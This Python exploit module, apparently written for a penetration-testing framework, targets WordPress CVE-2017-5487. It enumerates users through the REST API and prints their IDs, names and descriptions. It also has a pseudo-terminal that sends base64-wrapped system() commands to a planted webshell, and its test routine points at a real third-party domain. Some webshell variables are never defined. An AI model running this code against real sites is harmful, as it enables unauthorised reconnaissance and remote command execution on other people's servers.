#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import json

try:
    from core.log import Log
    from core.log import color
except Exception as e:
    import sys
    sys.path.append("../../core/log")
    from Log import Log
    from Log import color


class Exploit:
    # 定义该漏洞利用的配置信息
    # 备注:
    #	necessity 表示该参数是否必须配置
    #	default 为该参数的默认值
    config = {
        "remote_host": {"default": "127.0.0.1", "necessity": True},
        "remote_port": {"default": 80, "necessity": True},
    }
    session = requests.Session()

    def __init__(self):
        pass

    def exploit(self):
        '''
        漏洞利用的核心代码, 在此函数中完成漏洞利用
        '''
        Log.Log.info("Lauching the exploition...")
        host = self.get_config("remote_host")
        port = int(self.get_config("remote_port"))
        url = "http://%s:%d/wp-json/wp/v2/users/" % (host, port)
        try:
            response = requests.get(url)
            if response.status_code == 200:
                Log.Log.success("Exploit success!")
                content = response.content
                print("%s" % (color.cyan("ID\tUser\t\tDescription")))
                for user in json.loads(content)[::-1]:
                    username = user["name"]
                    if len(username) > 8:
                        print("%s\t%s\t%s" % (user["id"], user["name"], user["description"]))
                    else:
                        print("%s\t%s\t\t%s" % (user["id"], user["name"], user["description"]))
                return True
            else:
                Log.Log.error("Exploit Failed!")
                return False
        except Exception as e:
            Log.Log.error(str(e))
            return False

    def show_options(self):
        '''
        输出该模块的选项信息 (即之前定义的 config)
        由 options 命令触发
        通常不需要改动
        '''
        Log.Log.warning("Options\t\tNecessity\t\tDefault")
        Log.Log.warning("-------\t\t---------\t\t-------")
        for key in sorted(self.config.keys()):
            Log.Log.warning("%s\t\t%s\t\t\t%s" % (
                key, self.config[key]["necessity"], self.get_config(key)))

    def set_config(self, key, value):
        '''
        对模块的参数进行修改
        由 set 命令触发
        通常不需要改动
        '''
        if key in self.config.keys():
            self.config[key]["default"] = value
        else:
            Log.Log.error("No such option!")

    def get_config(self, key):
        return self.config[key]["default"]

    def interactive(self):
        '''
        在成功拿到 WebShell 之后, 可以利用该函数获得一个伪终端
        这里判断了 webshell_url 这个变量是否为空
        因此, 在拿到 webshell 地址后, 需要将 webshell_url 进行设置
        '''
        if self.webshell_url == "":
            Log.Log.error("Webshell is dead!")
            return
        while True:
            command = input("$ ")
            if command == "exit":
                break
            data = {
                self.get_config("shell_pwd"):"system(base64_decode('%s'));die();" % (command.encode("base64").replace("\n", ""))
            }
            print(data)
            try:
                Log.Log.success(self.session.post(self.webshell_url, data=data).content)
            except Exception as e:
                Log.Log.error(str(e))
                return False

    def show_info(self):
        '''
        模块(漏洞)的详细信息, 包括名称, 影响版本, 作者, 参考链接等等
        该函数在模块被加载的时候自动调用
        需要将其中的信息修改为对应的模块信息
        '''
        Log.Log.info("Name: WordPress (<4.7.1) Username Enumeration (CVE-2017-5487)")
        Log.Log.info("Effected Version: <4.7.1")
        Log.Log.info("Author: Mateus a.k.a Dctor")
        Log.Log.info("FaceBook: https://fb.com/hatbashbr/")
        Log.Log.info("Email: dctoralves@protonmail.ch")
        Log.Log.info("Home: https://mateuslino.tk ")
        Log.Log.info("Refer:")
        Log.Log.info("\thttps://www.exploit-db.com/exploits/41497/")

def main():
    '''
    测试用例
    '''
    exploit = Exploit()
    exploit.show_info()
    exploit.set_config("remote_host", "www.wopus.org")
    exploit.show_options()
    exploit.exploit()

if __name__ == "__main__":
    main()
